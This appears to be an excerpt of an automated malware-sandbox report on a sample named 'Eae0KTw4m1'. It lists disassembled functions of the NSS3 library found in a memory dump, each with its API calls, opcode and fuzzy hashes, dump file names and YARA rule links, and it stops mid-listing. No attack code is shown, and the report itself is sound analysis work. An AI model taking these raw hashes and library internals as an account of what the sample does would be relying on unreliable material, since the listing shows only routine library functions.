API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: 1af89d0012ca881ae2a36a6b58cb315bb2556661be241c6087987fc18ac5d8a4
Instruction ID: f28aa407fd5ad1930689a588ff87d5370f63486f8983b03e8f4b04452c2a1b42
Opcode Fuzzy Hash: 1af89d0012ca881ae2a36a6b58cb315bb2556661be241c6087987fc18ac5d8a4
Instruction Fuzzy Hash: C03181B5A043159FC704DF14D884A9FB7E4FF89314F40842DE85A97740E730E919CB96

Function 6C756DE0 Relevance: 6.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

PR_MillisecondsToInterval.NSS3(?), ref: 6C756E36
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C756E57

Part of subcall function 6C78C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C78C2BF

PR_MillisecondsToInterval.NSS3(?), ref: 6C756E7D
PR_MillisecondsToInterval.NSS3(?), ref: 6C756EAA

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: IntervalMilliseconds$ErrorValue
String ID:
API String ID: 3163584228-0
Opcode ID: ccf85ca214056a6c3c820004d401e63c179f5833f8af3be3c605fcdf83c3f07d
Instruction ID: 3188437d0ea7d1bf35bee6150188b73c63809ca95ba707a908a629011f9f30ff
Opcode Fuzzy Hash: ccf85ca214056a6c3c820004d401e63c179f5833f8af3be3c605fcdf83c3f07d
Instruction Fuzzy Hash: A031C331712512EEDB141F34DE08396B7A8BB1131AF94063CD899D6B51EF31A664CF81

Function 6C752880 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

NSS_CMSEncoder_Finish.NSS3(?), ref: 6C752896
NSS_CMSEncoder_Finish.NSS3(?), ref: 6C752932
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C75294C
free.MOZGLUE(?), ref: 6C752955

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: Encoder_Finish$Arena_FreeUtilfree
String ID:
API String ID: 508480814-0
Opcode ID: 692426d1033759f956f42b0441a5da6287eb749e6349fb45f227a6b3381c51a5
Instruction ID: 5bb5541819fae3748e39bbf3e03ae850d31ef8ce376ccd9cf57af577773b4727
Opcode Fuzzy Hash: 692426d1033759f956f42b0441a5da6287eb749e6349fb45f227a6b3381c51a5
Instruction Fuzzy Hash: E42195F66006009BE7209B26DE0DF477BE5AF84358F554938E48DC7B61FF31E8288691

Function 6C724FB0 Relevance: 6.1, APIs: 4, Instructions: 75COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,00000000,?,6C72B60F,00000000), ref: 6C725003
EnterCriticalSection.KERNEL32(?,?,00000000,00000000,00000000,?,6C72B60F,00000000), ref: 6C72501C
PR_Unlock.NSS3(?,?,?,00000000,00000000,00000000,?,6C72B60F,00000000), ref: 6C72504B
free.MOZGLUE(?,00000000,00000000,00000000,?,6C72B60F,00000000), ref: 6C725064

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValuefree
String ID:
API String ID: 1112172411-0
Opcode ID: e05ed08e2c60234428d5555f7c6d06235f03a3d484951d2f45a48ad508ec132f
Instruction ID: 9d25b6b1477ec7e271d46eb96c46c6508c1d2555b831a8a230e6c934cbe3a1ec
Opcode Fuzzy Hash: e05ed08e2c60234428d5555f7c6d06235f03a3d484951d2f45a48ad508ec132f
Instruction Fuzzy Hash: A53105B0A056068FDB50EF68D58496AFBF4FF48308B158A29D85997705E734E890CBD1

Function 6C752DF0 Relevance: 6.1, APIs: 4, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C752E08

Part of subcall function 6C7414C0: TlsGetValue.KERNEL32 ref: 6C7414E0
Part of subcall function 6C7414C0: EnterCriticalSection.KERNEL32 ref: 6C7414F5
Part of subcall function 6C7414C0: PR_Unlock.NSS3 ref: 6C74150D

PORT_NewArena_Util.NSS3(00000400), ref: 6C752E1C
PORT_ArenaAlloc_Util.NSS3(00000000,00000064), ref: 6C752E3B
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C752E95

Part of subcall function 6C741200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6C6E88A4,00000000,00000000), ref: 6C741228
Part of subcall function 6C741200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6C741238
Part of subcall function 6C741200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6C6E88A4,00000000,00000000), ref: 6C74124B
Part of subcall function 6C741200: PR_CallOnce.NSS3(6C842AA4,6C7412D0,00000000,00000000,00000000,?,6C6E88A4,00000000,00000000), ref: 6C74125D
Part of subcall function 6C741200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6C74126F
Part of subcall function 6C741200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6C741280
Part of subcall function 6C741200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6C74128E
Part of subcall function 6C741200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6C74129A
Part of subcall function 6C741200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6C7412A1

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: ArenaUtil$CriticalSection$Arena_EnterFreePoolUnlockValuefree$Alloc_CallClearDeleteMark_Once
String ID:
API String ID: 1441289343-0
Opcode ID: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction ID: ca59eb71ed7e823f71734849277f8b9c80e3fa246618c4193d16b4b17b369d03
Opcode Fuzzy Hash: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction Fuzzy Hash: 5421D4B1E003454BE700DF549E4CBAA3768AFA130CF614279DD085B752FBB1E6A8C292

Function 6C70ACB0 Relevance: 6.1, APIs: 4, Instructions: 66COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6C70ACC2

Part of subcall function 6C6E2F00: PORT_NewArena_Util.NSS3(00000800), ref: 6C6E2F0A
Part of subcall function 6C6E2F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C6E2F1D

Part of subcall function 6C6E2AE0: PORT_Strdup_Util.NSS3(?,?,?,?,?,6C6E0A1B,00000000), ref: 6C6E2AF0
Part of subcall function 6C6E2AE0: tolower.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6E2B11

CERT_DestroyCertList.NSS3(00000000), ref: 6C70AD5E

Part of subcall function 6C7257D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6C6EB41E,00000000,00000000,?,00000000,?,6C6EB41E,00000000,00000000,00000001,?), ref: 6C7257E0
Part of subcall function 6C7257D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6C725843

CERT_DestroyCertList.NSS3(?), ref: 6C70AD36

Part of subcall function 6C6E2F50: CERT_DestroyCertificate.NSS3(?), ref: 6C6E2F65
Part of subcall function 6C6E2F50: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C6E2F83

free.MOZGLUE(?), ref: 6C70AD4F

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: Util$CertDestroyList$Arena_free$Alloc_ArenaCertificateFreeK11_Strdup_Tokenstolower
String ID:
API String ID: 132756963-0
Opcode ID: 2e53beaf988b07907019f13c00044396bf532cb5e9a1d3461fe6096c2756be7c
Instruction ID: 146b4117469cc31441d921fe76ce2dd66fa8063c48d6869051771e08b809bf34
Opcode Fuzzy Hash: 2e53beaf988b07907019f13c00044396bf532cb5e9a1d3461fe6096c2756be7c
Instruction Fuzzy Hash: 5021C6F1E011148BEB10DF64D90A5EE77F4AF09218F054079D814B7701FB31AA49CBE5

Function 6C70C860 Relevance: 6.1, APIs: 4, Instructions: 64threadCOMMON

Download Yara Rule

APIs

PK11_IsLoggedIn.NSS3(?,?), ref: 6C70C890

Part of subcall function 6C708F70: PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6C6FDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C708FAF
Part of subcall function 6C708F70: PR_Now.NSS3(?,?,00000002,?,?,?,6C6FDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C708FD1
Part of subcall function 6C708F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C6FDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C708FFA
Part of subcall function 6C708F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C6FDA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C709013
Part of subcall function 6C708F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C6FDA9B,?,00000000,?,?,?,?,CE534353), ref: 6C709042
Part of subcall function 6C708F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C6FDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C70905A
Part of subcall function 6C708F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C6FDA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C709073
Part of subcall function 6C708F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C6FDA9B,?,00000000,?,?,?,?,CE534353), ref: 6C709111

PR_GetCurrentThread.NSS3 ref: 6C70C8B2

Part of subcall function 6C7A9BF0: TlsGetValue.KERNEL32(?,?,?,6C7F0A75), ref: 6C7A9C07

PK11_Authenticate.NSS3(?,00000001,?), ref: 6C70C8D0
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C70C8EB

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: K11_Value$CriticalEnterSectionUnlock$AuthenticateCurrentInternalItem_LoggedSlotThreadUtilZfree
String ID:
API String ID: 999015661-0
Opcode ID: 477a7ae121ca17423d818f87d30b67f1952193dc40be73abf14df5b980759708
Instruction ID: 13ba953da70672e26326c7ed6366ee60305f594e66b375481fb5308fce2b8cf3
Opcode Fuzzy Hash: 477a7ae121ca17423d818f87d30b67f1952193dc40be73abf14df5b980759708
Instruction Fuzzy Hash: 96010CE6F0121067D70025B65E88AFF36E8BF5515DF040135FC04A6B91F761881993F3

Function 6C73ECB0 Relevance: 6.1, APIs: 4, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,?,00000001,?,6C73F0AD,6C73F150,?,6C73F150,?,?,?), ref: 6C73ECBA

Part of subcall function 6C740FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6E87ED,00000800,6C6DEF74,00000000), ref: 6C741000
Part of subcall function 6C740FF0: PR_NewLock.NSS3(?,00000800,6C6DEF74,00000000), ref: 6C741016
Part of subcall function 6C740FF0: PL_InitArenaPool.NSS3(00000000,security,6C6E87ED,00000008,?,00000800,6C6DEF74,00000000), ref: 6C74102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028,?,?,?), ref: 6C73ECD1

Part of subcall function 6C7410C0: TlsGetValue.KERNEL32(?,6C6E8802,00000000,00000008,?,6C6DEF74,00000000), ref: 6C7410F3
Part of subcall function 6C7410C0: EnterCriticalSection.KERNEL32(?,?,6C6E8802,00000000,00000008,?,6C6DEF74,00000000), ref: 6C74110C
Part of subcall function 6C7410C0: PL_ArenaAllocate.NSS3(?,?,?,6C6E8802,00000000,00000008,?,6C6DEF74,00000000), ref: 6C741141
Part of subcall function 6C7410C0: PR_Unlock.NSS3(?,?,?,6C6E8802,00000000,00000008,?,6C6DEF74,00000000), ref: 6C741182
Part of subcall function 6C7410C0: TlsGetValue.KERNEL32(?,6C6E8802,00000000,00000008,?,6C6DEF74,00000000), ref: 6C74119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C,?,?,?,?,?), ref: 6C73ED02

Part of subcall function 6C7410C0: PL_ArenaAllocate.NSS3(?,6C6E8802,00000000,00000008,?,6C6DEF74,00000000), ref: 6C74116E

PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?), ref: 6C73ED5A

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: Arena$Util$Alloc_AllocateArena_Value$CriticalEnterFreeInitLockPoolSectionUnlockcalloc
String ID:
API String ID: 2957673229-0
Opcode ID: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction ID: bb566964f8dbd4eec63e6a0f6ab23cd73cbdceece9c997b7b2ee40d6f1b4f35b
Opcode Fuzzy Hash: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction Fuzzy Hash: 9C21D4B1A107529BE700CF25DA49B52B7E4BFA4308F15D225E81C87662FB70E994C7D0

Function 6C7508D0 Relevance: 6.1, APIs: 4, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6C7509B3,0000001A,?), ref: 6C7508E9

Part of subcall function 6C740840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C7408B4

SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6C7508FD

Part of subcall function 6C73FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C738D2D,?,00000000,?), ref: 6C73FB85
Part of subcall function 6C73FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C73FBB1

SECITEM_AllocItem_Util.NSS3(?,00000000,00000001), ref: 6C750939
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C750953

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: Util$ErrorItem_$AllocAlloc_ArenaCopyFindTag_memcpy
String ID:
API String ID: 2572351645-0
Opcode ID: 2e99b12f1c9af86e3f260138aaee893669f473c170dc6a84dddc8e352a0eca88
Instruction ID: 19c856de78761eba28da1cbb7ca71f335429ab9a371d8ed7aa0a22196a162b22
Opcode Fuzzy Hash: 2e99b12f1c9af86e3f260138aaee893669f473c170dc6a84dddc8e352a0eca88
Instruction Fuzzy Hash: 5401D6F1A0174A6BFB149B369E24B677B98AF4025CF544439EC1AC6A42FF31E4348A94

Function 6C76EDB0 Relevance: 6.1, APIs: 4, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,00000000,00000000,6C757FFA,?,6C759767,?,8B7874C0,0000A48E), ref: 6C76EDD4
realloc.MOZGLUE(C7C1920F,?,00000000,00000000,6C757FFA,?,6C759767,?,8B7874C0,0000A48E), ref: 6C76EDFD
PORT_Alloc_Util.NSS3(?,00000000,00000000,6C757FFA,?,6C759767,?,8B7874C0,0000A48E), ref: 6C76EE14

Part of subcall function 6C740BE0: malloc.MOZGLUE(6C738D2D,?,00000000,?), ref: 6C740BF8
Part of subcall function 6C740BE0: TlsGetValue.KERNEL32(6C738D2D,?,00000000,?), ref: 6C740C15

memcpy.VCRUNTIME140(?,?,6C759767,00000000,00000000,6C757FFA,?,6C759767,?,8B7874C0,0000A48E), ref: 6C76EE33

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 3903481028-0
Opcode ID: cadf60f4e22912fab76885f790bfefc7bb31ac003613f76d7478f96ba2bdedce
Instruction ID: 8a418da250e7bcb314d655500980be3e1ebd7c957371219c536971e777366bbe
Opcode Fuzzy Hash: cadf60f4e22912fab76885f790bfefc7bb31ac003613f76d7478f96ba2bdedce
Instruction Fuzzy Hash: 3A11A0B1A0070AABEB109E66DE88B46B3ACEB0035DF244535ED1986E41E330E464C7F1

Function 6C708DD0 Relevance: 6.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C708DE7
EnterCriticalSection.KERNEL32 ref: 6C708DFC
PR_Unlock.NSS3 ref: 6C708E2D
PR_SetError.NSS3 ref: 6C708E49

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: c1aa7f0666c66f2a5d10c8c46c22163118dc098c1ad76f214dfb5747e251f658
Instruction ID: a781a1f1ddc50b7438b00dc486c8e3c08998f10957727195cd7a16c108ba93d3
Opcode Fuzzy Hash: c1aa7f0666c66f2a5d10c8c46c22163118dc098c1ad76f214dfb5747e251f658
Instruction Fuzzy Hash: AE118FB16056109BD710BF78D588559BBF4FF45358F014A3ADC8897701E730E854CBD1

Function 6C78AC70 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(000A34B6,00000000,00000678,?,6C775F17,?,?,?,?,?,?,?,?,6C77AAD4), ref: 6C78AC94
PK11_FreeSymKey.NSS3(08C483FF,00000000,00000678,?,6C775F17,?,?,?,?,?,?,?,?,6C77AAD4), ref: 6C78ACA6
free.MOZGLUE(20868D04,?,?,?,?,?,?,?,?,6C77AAD4), ref: 6C78ACC0
free.MOZGLUE(04C48300,?,?,?,?,?,?,?,?,6C77AAD4), ref: 6C78ACDB

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: free$DestroyFreeK11_Monitor
String ID:
API String ID: 3989322779-0
Opcode ID: 97874294c9f072bcc64fb07533389070c10f7bf43c07a9a616e40980639cec86
Instruction ID: bcb23482c0e6fb1d3863fddc686e3f11814811a8c77f35c43ac53f9c129865fa
Opcode Fuzzy Hash: 97874294c9f072bcc64fb07533389070c10f7bf43c07a9a616e40980639cec86
Instruction Fuzzy Hash: 04015EB1602B159BE760DF6ADA08753B7E8BF00669B104839D95EC3E40E731F054CBD1

Function 6C7388E0 Relevance: 6.0, APIs: 4, Instructions: 47COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,?,?,6C7408AA,?), ref: 6C7388F6
EnterCriticalSection.KERNEL32(?,?,?,?,6C7408AA,?), ref: 6C73890B
PR_NotifyCondVar.NSS3(?,?,?,?,?,6C7408AA,?), ref: 6C738936
PR_Unlock.NSS3(?,?,?,?,?,6C7408AA,?), ref: 6C738940

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: CondCriticalEnterNotifySectionUnlockValue
String ID:
API String ID: 959714679-0
Opcode ID: d171dbdafdcfcc7c96b43a455bc43e6d12de053c5854fea18b8302e8ef6cd538
Instruction ID: 35ddee35a054eeba89f9d3ece04051ff1d38060e7783f4a3ea6f71e6c04b6ad1
Opcode Fuzzy Hash: d171dbdafdcfcc7c96b43a455bc43e6d12de053c5854fea18b8302e8ef6cd538
Instruction Fuzzy Hash: D00161B5A046159BD710AF79C184659BBF4FF05398F055A3BD898C7B01E730E494CBD2

Function 6C770840 Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6C842F88,6C770660,00000020,00000000,?,?,6C772C3D,?,00000000,00000000,?,6C772A28,00000060,00000001), ref: 6C770860

Part of subcall function 6C664C70: TlsGetValue.KERNEL32(?,?,?,6C663921,6C8414E4,6C7ACC70), ref: 6C664C97
Part of subcall function 6C664C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C663921,6C8414E4,6C7ACC70), ref: 6C664CB0
Part of subcall function 6C664C70: PR_Unlock.NSS3(?,?,?,?,?,6C663921,6C8414E4,6C7ACC70), ref: 6C664CC9

TlsGetValue.KERNEL32(00000020,00000000,?,?,6C772C3D,?,00000000,00000000,?,6C772A28,00000060,00000001), ref: 6C770874
EnterCriticalSection.KERNEL32(00000001), ref: 6C770884
PR_Unlock.NSS3 ref: 6C7708A3

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
